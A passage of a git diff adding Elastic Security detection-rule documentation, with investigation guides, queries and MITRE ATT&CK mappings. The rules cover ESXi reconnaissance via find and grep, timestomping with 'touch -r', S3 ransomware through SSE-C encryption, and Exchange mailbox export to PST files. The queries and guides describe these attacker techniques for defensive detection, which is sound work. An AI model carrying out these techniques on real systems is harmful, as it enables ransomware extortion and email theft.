Identify these scripts and exclude their parent processes from the detection rule. +- Software updates or maintenance activities involving VMware components might execute the 'find' command in a non-threatening manner. Consider scheduling these activities during known maintenance windows and temporarily adjusting the rule to prevent unnecessary alerts. +- If the 'find' command is part of a legitimate software installation or uninstallation process, such as the VMware View Agent uninstallation, ensure these processes are whitelisted by adding their parent executable paths to the exception list. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or data exfiltration. +- Terminate any suspicious 'find' processes identified in the alert to halt potential reconnaissance activities. +- Conduct a thorough review of the system's recent command history and logs to identify any unauthorized access or changes made to VM-related files. +- Restore any altered or deleted VM-related files from a known good backup to ensure system integrity. +- Update and patch the VMware ESXi and related software to the latest versions to mitigate any known vulnerabilities. +- Implement stricter access controls and monitoring on VMware-related directories to prevent unauthorized access in the future. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "exec_event", "start", "executed", "process_started", "ProcessRollup2") and +process.name == "find" and process.args like ("/etc/vmware/*", "/usr/lib/vmware/*", "/vmfs/*") and +not ?process.parent.executable == "/usr/lib/vmware/viewagent/bin/uninstall_viewagent.sh" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: File and Directory Discovery +** ID: T1083 +** Reference URL: https://attack.mitre.org/techniques/T1083/ +* Technique: +** Name: Software Discovery +** ID: T1518 +** Reference URL: https://attack.mitre.org/techniques/T1518/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-esxi-discovery-via-grep.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-esxi-discovery-via-grep.asciidoc new file mode 100644 index 0000000000..3e8f9c7604 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-esxi-discovery-via-grep.asciidoc @@ -0,0 +1,167 @@ +[[prebuilt-rule-8-19-34-esxi-discovery-via-grep]] +=== ESXI Discovery via Grep + +Identifies instances where a process named 'grep', 'egrep', or 'pgrep' is started on a Linux system with arguments related to virtual machine (VM) files, such as "vmdk", "vmx", "vmxf", "vmsd", "vmsn", "vswp", "vmss", "nvram", or "vmem". These file extensions are associated with VM-related file formats, and their presence in grep command arguments may indicate that a threat actor is attempting to search for, analyze, or manipulate VM files on the system. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* endgame-* +* logs-auditd_manager.auditd-* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.bleepingcomputer.com/news/security/massive-esxiargs-ransomware-attack-targets-vmware-esxi-servers-worldwide/ + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Discovery +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Auditd Manager +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 114 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating ESXI Discovery via Grep* + + +In Linux environments, tools like 'grep' are used to search through files for specific patterns. Adversaries may exploit these tools to locate and analyze virtual machine files, which are crucial for ESXi environments. The detection rule identifies suspicious use of 'grep' variants targeting VM file extensions, signaling potential reconnaissance or manipulation attempts by threat actors. This rule helps in early detection of such malicious activities by monitoring process execution patterns. + + +*Possible investigation steps* + + +- Review the process execution details to confirm the presence of 'grep', 'egrep', or 'pgrep' with arguments related to VM file extensions such as "vmdk", "vmx", "vmxf", "vmsd", "vmsn", "vswp", "vmss", "nvram", or "vmem". +- Check the parent process of the suspicious 'grep' command to determine if it is a legitimate process or potentially malicious, ensuring it is not "/usr/share/qemu/init/qemu-kvm-init". +- Investigate the user account associated with the process execution to assess if the activity aligns with their typical behavior or if it appears anomalous. +- Examine recent system logs and other security alerts for additional indicators of compromise or related suspicious activities on the host. +- Assess the network activity from the host to identify any unusual connections or data exfiltration attempts that may correlate with the discovery activity. + + +*False positive analysis* + + +- System administrators or automated scripts may use grep to search for VM-related files as part of routine maintenance or monitoring tasks. To handle this, create exceptions for known administrative scripts or processes by excluding specific parent processes or user accounts. +- Backup or snapshot management tools might invoke grep to verify the presence of VM files. Identify these tools and exclude their process names or paths from the detection rule to prevent false alerts. +- Developers or IT staff conducting legitimate audits or inventory checks on VM files may trigger this rule. Consider excluding specific user accounts or groups that are authorized to perform such activities. +- Security tools or monitoring solutions that perform regular checks on VM files could also cause false positives. Whitelist these tools by excluding their executable paths or process names from the rule. + + +*Response and remediation* + + +- Isolate the affected Linux system from the network to prevent further unauthorized access or data exfiltration. +- Terminate any suspicious processes identified by the detection rule, specifically those involving 'grep', 'egrep', or 'pgrep' with VM-related file extensions. +- Conduct a thorough review of the system's recent process execution history and file access logs to identify any unauthorized access or changes to VM files. +- Restore any compromised or altered VM files from a known good backup to ensure system integrity and continuity. +- Implement stricter access controls and permissions on VM-related files to limit exposure to unauthorized users or processes. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems are affected. +- Update and enhance monitoring rules to detect similar patterns of suspicious activity, ensuring early detection of future threats. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "exec_event", "start", "executed", "process_started", "ProcessRollup2") and +process.name in ("grep", "egrep", "pgrep") and +process.args in ("vmdk", "vmx", "vmxf", "vmsd", "vmsn", "vswp", "vmss", "nvram", "vmem") and +not ?process.parent.executable in ("/usr/share/qemu/init/qemu-kvm-init", "/etc/sysconfig/modules/kvm.modules") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: File and Directory Discovery +** ID: T1083 +** Reference URL: https://attack.mitre.org/techniques/T1083/ +* Technique: +** Name: Software Discovery +** ID: T1518 +** Reference URL: https://attack.mitre.org/techniques/T1518/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-esxi-timestomping-using-touch-command.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-esxi-timestomping-using-touch-command.asciidoc new file mode 100644 index 0000000000..1369963e5f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-esxi-timestomping-using-touch-command.asciidoc @@ -0,0 +1,167 @@ +[[prebuilt-rule-8-19-34-esxi-timestomping-using-touch-command]] +=== ESXI Timestomping using Touch Command + +Identifies instances where the 'touch' command is executed on a Linux system with the "-r" flag, which is used to modify the timestamp of a file based on another file's timestamp. The rule targets specific VM-related paths, such as "/etc/vmware/", "/usr/lib/vmware/", or "/vmfs/*". These paths are associated with VMware virtualization software, and their presence in the touch command arguments may indicate that a threat actor is attempting to tamper with timestamps of VM-related files and configurations on the system. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* endgame-* +* logs-auditd_manager.auditd-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.bleepingcomputer.com/news/security/massive-esxiargs-ransomware-attack-targets-vmware-esxi-servers-worldwide/ + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Auditd Manager +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 113 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating ESXI Timestomping using Touch Command* + + +VMware ESXi is a hypervisor used to manage virtual machines. Adversaries may exploit the 'touch' command with the "-r" flag to alter file timestamps, masking unauthorized changes in VM-related directories. The detection rule identifies such activities by monitoring the execution of 'touch' with specific arguments, signaling potential timestamp tampering in critical VMware paths. + + +*Possible investigation steps* + + +- Review the process execution details to confirm the presence of the 'touch' command with the "-r" flag and verify the specific VM-related paths involved, such as "/etc/vmware/", "/usr/lib/vmware/", or "/vmfs/*". +- Check the user account associated with the process execution to determine if it is a legitimate user or potentially compromised account. +- Investigate the parent process of the 'touch' command to understand the context of its execution and identify any related suspicious activities. +- Examine recent changes to the files in the specified paths to identify any unauthorized modifications or anomalies. +- Correlate the event with other security alerts or logs from the same host to identify patterns or additional indicators of compromise. +- Assess the system for any signs of unauthorized access or other defense evasion techniques that may have been employed by the threat actor. + + +*False positive analysis* + + +- Routine administrative tasks in VMware environments may trigger the rule if administrators use the touch command with the -r flag for legitimate purposes. To manage this, create exceptions for known administrative scripts or processes that regularly perform these actions. +- Automated backup or synchronization tools that update file timestamps as part of their normal operation can cause false positives. Identify these tools and exclude their processes from the rule to prevent unnecessary alerts. +- System maintenance activities, such as updates or patches, might involve timestamp modifications in VMware directories. Coordinate with IT teams to whitelist these activities during scheduled maintenance windows. +- Custom scripts developed in-house for managing VMware environments might use the touch command with the -r flag. Review these scripts and, if verified as safe, add them to an exception list to avoid false positives. +- Security tools or monitoring solutions that perform integrity checks on VMware files may inadvertently alter timestamps. Ensure these tools are recognized and excluded from the rule to maintain accurate threat detection. + + +*Response and remediation* + + +- Immediately isolate the affected host from the network to prevent further unauthorized access or tampering with VMware-related files. +- Conduct a thorough review of the affected system's logs and processes to identify any unauthorized changes or additional malicious activities. +- Restore the original timestamps of the affected files using verified backups to ensure the integrity of the VMware-related configurations. +- Revert any unauthorized changes to the VMware environment by restoring from a known good backup or snapshot. +- Update and patch the VMware ESXi and associated software to the latest versions to mitigate any known vulnerabilities that could be exploited. +- Implement stricter access controls and monitoring on critical VMware directories to prevent unauthorized modifications in the future. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and + event.action in ("exec", "exec_event", "start", "ProcessRollup2", "executed", "process_started") and + process.name == "touch" and process.args == "-r" and process.args : ("/etc/vmware/*", "/usr/lib/vmware/*", "/vmfs/*") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Indicator Removal +** ID: T1070 +** Reference URL: https://attack.mitre.org/techniques/T1070/ +* Sub-technique: +** Name: Timestomp +** ID: T1070.006 +** Reference URL: https://attack.mitre.org/techniques/T1070/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-excessive-aws-s3-object-encryption-with-sse-c.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-excessive-aws-s3-object-encryption-with-sse-c.asciidoc new file mode 100644 index 0000000000..246dc3612e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-excessive-aws-s3-object-encryption-with-sse-c.asciidoc @@ -0,0 +1,151 @@ +[[prebuilt-rule-8-19-34-excessive-aws-s3-object-encryption-with-sse-c]] +=== Excessive AWS S3 Object Encryption with SSE-C + +Identifies a high-volume of AWS S3 objects stored in a bucket using using Server-Side Encryption with Customer-Provided Keys (SSE-C). Adversaries with compromised AWS credentials can encrypt objects in an S3 bucket using their own encryption keys, rendering the objects unreadable or recoverable without the key. This can be used as a form of ransomware to extort the bucket owner for the decryption key. This is a Threshold rule that triggers when this behavior is observed multiple times for a specific bucket in a short time-window. + +*Rule type*: threshold + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.halcyon.ai/blog/abusing-aws-native-services-ransomware-encrypting-s3-buckets-with-sse-c +* https://docs.aws.amazon.com/AmazonS3/latest/userguide/ServerSideEncryptionCustomerKeys.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS S3 +* Resources: Investigation Guide +* Use Case: Threat Detection +* Tactic: Impact +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Ransomware +* Rule Type: Threshold +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS S3 + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Excessive AWS S3 Object Encryption with SSE-C* + +This rule identifies a high volume of objects being encrypted using Server-Side Encryption with Customer-Provided Keys (SSE-C) in AWS S3. This could indicate malicious activity, such as ransomware encrypting objects, rendering them inaccessible without the corresponding encryption keys. + + +*Possible investigation steps* + + +**Identify the user and source**: + - Review the `aws.cloudtrail.user_identity.arn` to identify the IAM user or role performing the operation. + - Cross-check the `source.ip` and `user_agent.original` fields for unusual IPs or user agents that could indicate unauthorized access. + - Review the `aws.cloudtrail.user_identity.access_key_id` to identify the access key used. This could be a compromised key. + +**Examine the targeted resources**: + - Check `aws.cloudtrail.request_parameters` to identify the bucket involved. + - Analyze the object key from `aws.cloudtrail.request_parameters`. + +**Evaluate encryption behavior**: + - Confirm the encryption details in `aws.cloudtrail.request_parameters` and `aws.cloudtrail.additional_eventdata`. + - Note if `SSEApplied` is `SSE-C`, which confirms encryption using a customer-provided key. + +**Correlate with recent events**: + - Look for any suspicious activity in proximity to the encryption event, such as new access key creation, policy changes, or unusual access patterns from the same user or IP. + - Identify `ListBucket` or `GetObject` operations on the same bucket to determine all affected objects. + - For `PutObject` events, identify any other unusual objects uploaded such as a ransom note. + - For `CopyObject` events, the adversary may be performing in-place re-encryption by copying objects to themselves using SSE-C keys they control, rendering the originals unrecoverable without the key. + +**Validate access permissions**: + - Check the IAM policies and roles associated with the user to verify if they had legitimate access to encrypt objects. + +**Assess impact**: + - Identify the number of encrypted objects in the bucket by examining other similar events. + - Determine if this encryption aligns with standard business practices or constitutes a deviation. + + +*False positive analysis* + + +- Confirm if SSE-C encryption is part of regular operations for compliance or data protection. +- Cross-reference known processes or users authorized for SSE-C encryption in the affected bucket. + + +*Response and remediation* + + +**Immediate actions**: + - Disable access keys or permissions for the user if unauthorized behavior is confirmed. + - Rotate the bucket's encryption configuration to mitigate further misuse. + +**Data recovery**: + - Attempt to identify and contact the party holding the SSE-C encryption keys if recovery is necessary. + +**Enhance monitoring**: + - Enable alerts for future SSE-C encryption attempts in critical buckets. + - Review and tighten IAM policies for roles and users accessing S3. + +**Post-Incident review**: + - Audit logs for additional activities by the same user or IP. + - Document findings and apply lessons learned to improve preventive measures. + + +==== Setup + + +AWS S3 data event types need to be enabled in the CloudTrail trail configuration. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "s3.amazonaws.com" + and event.action: ("PutObject" or "CopyObject") + and event.outcome: "success" + and aws.cloudtrail.flattened.request_parameters.x-amz-server-side-encryption-customer-algorithm: "AES256" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Encrypted for Impact +** ID: T1486 +** Reference URL: https://attack.mitre.org/techniques/T1486/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-exchange-mailbox-export-via-powershell.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-exchange-mailbox-export-via-powershell.asciidoc new file mode 100644 index 0000000000..cad3b6b16c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-exchange-mailbox-export-via-powershell.asciidoc @@ -0,0 +1,190 @@ +[[prebuilt-rule-8-19-34-exchange-mailbox-export-via-powershell]] +=== Exchange Mailbox Export via PowerShell + +Detects PowerShell script block content that creates Exchange mailbox export requests via New-MailboxExportRequest, commonly writing PST files. Adversaries can abuse export requests to collect and stage email content for exfiltration. + +*Rule type*: query + +*Rule indices*: + +* winlogbeat-* +* logs-windows.powershell* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/ +* https://docs.microsoft.com/en-us/powershell/module/exchange/new-mailboxexportrequest?view=exchange-ps +* https://www.elastic.co/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Collection +* Resources: Investigation Guide +* Data Source: PowerShell Logs +* Noise: Medium +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: Windows + +*Version*: 216 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Exchange Mailbox Export via PowerShell* + + +This alert indicates PowerShell script block content associated with creation of an Exchange mailbox export request. Mailbox exports can produce PST files and may represent sensitive email collection and staging for later access or exfiltration. Prioritize understanding who initiated the activity, which mailbox(es) were targeted, where the output was intended to be written, and whether the activity aligns with approved administrative workflows. + + +*Key alert fields to review* + + +- `user.name`, `user.domain`, `user.id`: Account execution context for correlation, prioritization, and scoping. +- `host.name`, `host.id`: Host execution context for correlation, prioritization, and scoping. +- `powershell.file.script_block_text`: Script block content that matched the detection logic. +- `powershell.file.script_block_id`, `powershell.sequence`, `powershell.total`: Script block metadata to pivot to other fragments or reconstruct full script content when split across multiple events. +- `file.path`, `file.directory`, `file.name`: File-origin context when the script block is sourced from an on-disk file. +- `powershell.file.script_block_length`: Script block length (size) context. + + +*Possible investigation steps* + + +- Validate what the script block is attempting to do using `powershell.file.script_block_text`: + - Identify the mailbox target(s). Look for explicit `-Mailbox` values, mailbox identifiers, or mailbox enumeration logic (for example, use of `Get-Mailbox` as an input source). + - Identify the intended export destination from `-FilePath`. Note whether the path appears to be a local path or a network location, and whether the naming pattern suggests a single mailbox export or bulk export activity. + - Note whether the content suggests automation (loops, iteration over multiple mailboxes, variable-driven file paths) versus a single interactive export request. +- Reconstruct full script block content when fragmented: + - If `powershell.file.script_block_text` appears truncated or incomplete, group related events by `powershell.file.script_block_id` and order by `powershell.sequence` up to `powershell.total` to rebuild the full script before assessing intent. + - Pivot to other script blocks from the same `user.id` and `host.id` near `@timestamp` to capture supporting context (variable definitions, functions, or preceding logic that populates mailbox or file path parameters). +- Establish execution context and initiating source: + - Use `host.name` and `host.id` to determine whether the activity originated from an expected Exchange management host (for example, an Exchange server or approved administrative workstation) or from an unexpected endpoint. + - Use `user.domain`, `user.name`, and `user.id` to determine whether the initiating account is expected to perform mailbox export operations (administrator or approved automation account) and whether the timing aligns with known operational windows. + - Use `process.pid` and `host.id` to correlate with process execution telemetry and determine how PowerShell was launched (interactive session vs automated execution) and whether there is an unusual parent process lineage for administrative activity. + - If `file.path` or `file.name` is present, treat the referenced script as a key artifact: + - Determine whether the path and file name match known administrative tooling or expected automation locations. + - If the script is not recognized, preserve it for analysis and assess whether it contains additional collection, staging, or cleanup logic beyond the export request. +- Scope the activity across users, hosts, and time: + - Identify other `powershell.file.script_block_id` values associated with the same `user.id` or `host.id` to determine whether the export activity is part of a larger PowerShell workflow. + - Review whether multiple distinct `process.pid` values are associated with similar export activity for the same user, which may indicate multiple sessions or parallel execution. +- Assess potential impact and staging indicators: + - If an export destination path is identifiable in `powershell.file.script_block_text`, correlate with file activity on the relevant host(s) to determine whether a PST file was created, modified, accessed, moved, or archived after `@timestamp`. + - Correlate with network telemetry for `host.id` around `@timestamp` to identify access to the export destination location and any subsequent outbound transfers that could indicate staging or exfiltration. + - Review authentication activity associated with `user.id` and the involved `host.id` around `@timestamp` for anomalies such as unusual logon sources, new sessions, or activity outside normal administrative patterns. +- Preserve evidence for follow-on analysis: + - Record the reconstructed script content, `powershell.file.script_block_id`, and the full `powershell.sequence`/`powershell.total` range used for reconstruction. + - Capture the specific mailbox identifiers and destination paths observed in `powershell.file.script_block_text` to support scoping and data exposure assessment. + + +*False positive analysis* + + +- Legitimate mailbox exports may occur for compliance, eDiscovery, user support, migrations, or incident response. Validate the presence of an authorized business request, ticket, or approved workflow that matches the timing and the scope of the export. +- Benign activity is more likely when: + - The initiating `user.name` is a known Exchange administrator or authorized automation account in `user.domain`. + - The `host.name` is an expected administrative host for Exchange management tasks. + - The destination path referenced in `powershell.file.script_block_text` aligns with approved export storage locations and expected naming conventions. +- Activity is higher risk when it originates from an unexpected `host.name`, uses an unusual `user.name`, targets many mailboxes, or writes to atypical destinations. + + +*Response and remediation* + + +- If the activity is unauthorized or cannot be validated: + - Contain the initiating account (`user.id`/`user.name`) by disabling the account or removing access to mailbox export capabilities, and rotate credentials as appropriate. + - Contain affected systems (`host.id`/`host.name`) based on scope and confidence. Isolate endpoints used for unexpected Exchange administrative actions to prevent further collection or staging. + - Identify and secure any exported PST output referenced in `powershell.file.script_block_text`. Treat recovered PST files and scripts as sensitive evidence; restrict access and preserve copies for investigation. + - Use approved administrative procedures to cancel or remove unauthorized export requests and prevent completion of in-progress exports. +- Conduct follow-on threat hunting and scoping: + - Search for additional mailbox export activity by the same `user.id` and `host.id`, including repeated or bulk export patterns. + - Review additional PowerShell script block activity for the same `powershell.file.script_block_id` and adjacent script blocks around `@timestamp` to identify related collection, staging, or cleanup actions. +- Reduce recurrence risk: + - Apply least-privilege controls for accounts that can initiate mailbox exports and restrict where exports can be written. + - Limit Exchange administrative actions to approved management hosts and monitored administrative workflows. + - Enhance monitoring for repeated mailbox export requests, unusual export destinations, and suspicious PowerShell activity associated with the same users and hosts. + + +==== Setup + + + +*Setup* + + +PowerShell Script Block Logging must be enabled to generate the events used by this rule (e.g., 4104). +Setup instructions: https://ela.st/powershell-logging-setup + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:process and host.os.type:windows and +powershell.file.script_block_text : "New-MailboxExportRequest" and +( + powershell.file.script_block_text : ("-FilePath" or ".pst") and + powershell.file.script_block_text : ("-Mailbox" or "Get-Mailbox" or "ExportToPSTFile" or "-Identity") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Local System +** ID: T1005 +** Reference URL: https://attack.mitre.org/techniques/T1005/ +* Technique: +** Name: Data Staged +** ID: T1074 +** Reference URL: https://attack.mitre.org/techniques/T1074/ +* Sub-technique: +** Name: Local Data Staging +** ID: T1074.001 +** Reference URL: https://attack.mitre.org/techniques/T1074/001/ +* Technique: +** Name: Email Collection +** ID: T1114 +** Reference URL: https://attack.mitre.org/techniques/T1114/ +* Sub-technique: +** Name: Local Email Collection +** ID: T1114.001 +** Reference URL: https://attack.mitre.org/techniques/T1114/001/ +* Sub-technique: +** Name: Remote Email Collection +** ID: T1114.002 +** Reference URL: https://attack.mitre.org/techniques/T1114/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-executable-bit-set-for-potential-persistence-script.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-executable-bit-set-for-potential-persistence-script.asciidoc new file mode 100644 index 0000000000..14003762da --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-executable-bit-set-for-potential-persistence-script.asciidoc @@ -0,0 +1,219 @@ +[[prebuilt-rule-8-19-34-executable-bit-set-for-potential-persistence-script]] +=== Executable Bit Set for Potential Persistence Script + +This rule monitors for the addition of an executable bit for scripts that are located in directories which are commonly abused for persistence. An alert of this rule is an indicator that a persistence mechanism is being set up 